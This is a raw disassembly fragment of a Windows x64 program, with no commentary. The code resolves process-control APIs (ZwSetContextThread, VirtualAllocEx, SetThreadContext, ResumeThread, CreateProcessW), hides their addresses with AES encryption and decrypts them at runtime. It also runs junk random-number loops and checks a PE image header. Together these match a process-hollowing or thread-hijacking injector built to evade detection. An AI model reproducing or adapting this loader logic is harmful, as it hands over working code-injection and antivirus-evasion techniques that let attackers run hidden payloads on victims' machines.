mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x1400065be
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400065a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], rbx
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140006603
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400065fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x578], rbx
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140006661
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000665b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000665b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x518], rbx
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x1400066d0
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], rbx
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140006715
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000670f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000670f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x540], rbx
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140006772
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000676c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000676c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov eax, 1
jmp 0x140009065
lea rdx, [rbp + 0x600]
cmp qword [rbp + 0x618], 0xf
cmova rdx, qword [rbp + 0x600]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x140006866
lea rdx, str.Failed_to_get_address_of_ZwSetContextThread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x600]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x620]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x588]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x550]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x568]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x508]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x4f0]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x530]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009cb0
mov eax, 1
jmp 0x140009065
mov ecx, pe_nt_image_headers64
call fcn.14000e0c0
mov rdi, rax
mov ecx, pe_nt_image_headers64
call fcn.14000e0c0
mov rsi, rax
mov dword [rbp - 0x4c], ebx
mov dword [rbp - 0x48], ebx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x970]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x760]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
mov dword [rsp + 0x20], 0xf
lea r9, str.ZwResumeThread
lea r8, [rbp - 0x4c]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
movsxd rdx, dword [rbp - 0x4c]
add rdx, rdi
lea r8, [rbp + 0x528]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov eax, dword [rbp + 0x528]
add dword [rbp - 0x4c], eax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
mov dword [rsp + 0x20], 8
lea r9, [rbp]
lea r8, [rbp - 0x48]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
movsxd rdx, dword [rbp - 0x48]
add rdx, rsi
lea r8, [rbp + 0x528]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov eax, dword [rbp + 0x528]
add dword [rbp - 0x48], eax
mov dword [rbp - 0x40], 0
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
mov eax, dword [rbp - 0x4c]
mov dword [rsp + 0x20], eax
mov r9, rdi
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x9b0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd rax, dword [rbp - 0x40]
lea rdx, [rbp + 0x9b0]
add rdx, rax
lea r8, [rbp + 0x528]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov eax, dword [rbp + 0x528]
add dword [rbp - 0x40], eax
xor edi, edi
mov qword [rbp - 0x20], rdi
mov dword [rbp - 0x3c], edi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
mov eax, dword [rbp - 0x48]
mov dword [rsp + 0x20], eax
mov r9, rsi
lea r8, [rbp - 0x3c]
lea rdx, [rbp - 0x20]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd rax, dword [rbp - 0x3c]
lea rdx, [rbp - 0x20]
add rdx, rax
lea r8, [rbp + 0x528]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov eax, dword [rbp + 0x528]
add dword [rbp - 0x3c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [rsp + 0x50], edi
mov dword [rbp - 0x44], edi
mov dword [rbp - 0x50], edi
mov dword [rbp - 0x38], edi
mov dword [rbp - 0x54], edi
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub rax, r15
mov qword [rbp + 0x6a0], rax
sub r12, r15
mov qword [rbp + 0x6a8], r12
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
sub rax, r15
mov qword [rbp + 0x6b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
sub rax, r15
mov qword [rbp + 0x6b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
sub rax, r15
mov qword [rbp + 0x670], rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x830]
lea rcx, [rbp + 0x6a0]
call fcn.1400044a0
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x44]
lea r8, [rbp + 0x870]
lea rcx, [rbp + 0x6a8]
call fcn.1400044a0
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x50]
lea r8, [rbp + 0x8b0]
lea rcx, [rbp + 0x6b0]
call fcn.1400044a0
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x38]
lea r8, [rbp + 0x8f0]
lea rcx, [rbp + 0x6b8]
call fcn.1400044a0
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x54]
lea r8, [rbp + 0x930]
lea rcx, [rbp + 0x670]
call fcn.1400044a0
xor r12d, r12d
mov ebx, r12d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140006c57
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub edi, ecx
mov ecx, dword [rbp - 0x58]
add ecx, edi
mov dword [rsp + 0x54], ecx
mov ecx, dword [rsp + 0x54]
mov eax, dword [rbp - 0x58]
sub ecx, eax
mov dword [rsp + 0x54], ecx
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp ebx, edi
jl 0x140006bf4
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140006c8d
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140006d3a
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140006cc3
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140006d15
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x830]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x10]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140006cf1
lea rdx, str.Failed_to_decrypt_data
jmp 0x140006d15
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp + 0x10]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140006d31
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
lea rdx, [0x14000b1e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140006d70
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140006e1c
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140006da6
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140006df7
mov eax, dword [rbp - 0x44]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x870]
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x18]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140006dd3
lea rdx, str.Failed_to_decrypt_data
jmp 0x140006df7
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp - 0x18]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140006e13
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
lea rdx, [0x14000b1e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140006e52
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140006f04
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140006e88
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140006edf
mov eax, dword [rbp - 0x50]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x8b0]
lea r8, [rbp - 0x44]
lea rdx, [rbp + 0x678]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140006eb8
lea rdx, str.Failed_to_decrypt_data
jmp 0x140006edf
movsxd rax, dword [rbp - 0x44]
lea rdx, [rbp + 0x678]
add rdx, rax
lea r8, [rbp - 0x44]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140006efb
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
lea rdx, [0x14000b1e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140006f3a
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140006fec
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140006f70
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140006fc7
mov eax, dword [rbp - 0x38]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x8f0]
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0x698]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140006fa0
lea rdx, str.Failed_to_decrypt_data
jmp 0x140006fc7
movsxd rax, dword [rbp - 0x50]
lea rdx, [rbp + 0x698]
add rdx, rax
lea r8, [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140006fe3
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
lea rdx, [0x14000b1e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007022
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400070ce
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140007058
lea rdx, str.Failed_to_initialize_decryption
jmp 0x1400070a9
mov eax, dword [rbp - 0x54]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x930]
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x10]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140007085
lea rdx, str.Failed_to_decrypt_data
jmp 0x1400070a9
movsxd rax, dword [rbp - 0x38]
lea rdx, [rbp - 0x10]
add rdx, rax
lea r8, [rbp - 0x38]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x1400070c5
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
lea rdx, [0x14000b1e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov rax, qword [rbp - 0x18]
add rax, r15
mov qword [rbp - 0x38], rax
mov rbx, qword [rbp - 0x10]
add rbx, r15
lea rdi, [rbp + 0xcc0]
xor eax, eax
mov ecx, 0x1208
rep stosb byte [rdi], al
lea rax, [rbp + 0xab0]
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp word [rax + rdi*2], r12w
jne 0x140007100
add rdi, rdi
mov r8, rdi
lea rdx, [rbp + 0xab0]
lea rcx, [rbp + 0xcc0]
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x20
mov word [rbp + rdi + 0xcc0], ax
mov rax, qword [rbp - 0x80]
movzx eax, word [rax]
mov word [rbp + rdi + 0xcc2], ax
movsxd r15, dword [0x14001710c]
lea rax, [0x1400170d0]
add r15, rax
cmp dword [r15], 0x4550
je 0x140007547
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x1400071a2
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000719c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000719c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x140007200
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400071fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400071fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x14000725e
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007258
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007258
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x1400072bc
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400072b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400072b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x14000731a
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007314
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007314
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140007389
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007371
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007371
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x1400073ce
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400073c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400073c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x14000742c
inc rdx
mov rcx, qword [rbp + 0x508]
